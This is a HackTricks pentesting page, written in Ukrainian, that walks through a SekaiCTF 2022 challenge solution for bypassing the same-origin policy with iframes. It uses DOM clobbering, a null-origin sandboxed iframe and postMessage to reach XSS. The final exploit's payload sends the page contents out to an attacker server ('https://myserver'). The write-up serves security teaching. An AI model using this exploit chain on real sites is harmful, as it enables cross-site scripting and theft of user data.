hacktricks/src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

81 lines
4.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Bypassing SOP with Iframes - 2
{{#include ../../banners/hacktricks-training.md}}
## Iframes in SOP-2
У [**рішенні**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) для цього [**виклику**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) пропонує подібний метод до попереднього розділу. Давайте перевіримо це.
У цьому виклику атакуючий повинен **обійти** це:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
Якщо він це зробить, він може надіслати **postmessage** з HTML-контентом, який буде записаний на сторінці з **`innerHTML`** без санітарної обробки (**XSS**).
Спосіб обійти **перевірку** - це зробити **`window.calc.contentWindow`** **`undefined`** і **`e.source`** **`null`**:
- **`window.calc.contentWindow`** насправді є **`document.getElementById("calc")`**. Ви можете знищити **`document.getElementById`** за допомогою **`<img name=getElementById />`** (зауважте, що Sanitizer API -[тут](https://wicg.github.io/sanitizer-api/index.html#dom-clobbering)- не налаштовано для захисту від атак DOM clobbering у своєму стандартному стані).
- Отже, ви можете знищити **`document.getElementById("calc")`** за допомогою **`<img name=getElementById /><div id=calc></div>`**. Тоді **`window.calc`** буде **`undefined`**.
- Тепер нам потрібно, щоб **`e.source`** було **`undefined`** або **`null`** (оскільки використовується `==`, **`null == undefined`** є **`True`**). Отримати це "легко". Якщо ви створите **iframe** і **надішлете** **postMessage** з нього, а потім відразу **видалите** iframe, **`e.origin`** буде **`null`**. Перевірте наступний код
```javascript
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
```
Щоб обійти **другу перевірку** щодо токена, потрібно надіслати **`token`** зі значенням `null` і зробити значення **`window.token`** **`undefined`**:
- Надсилання `token` у postMessage зі значенням `null` є тривіальним.
- **`window.token`** у виклику функції **`getCookie`**, яка використовує **`document.cookie`**. Зверніть увагу, що будь-який доступ до **`document.cookie`** на сторінках з **`null`** походженням викликає **помилку**. Це призведе до того, що **`window.token`** матиме значення **`undefined`**.
Остаточне рішення від [**@terjanq**](https://twitter.com/terjanq) є [**наступним**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
```html
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
```
{{#include ../../banners/hacktricks-training.md}}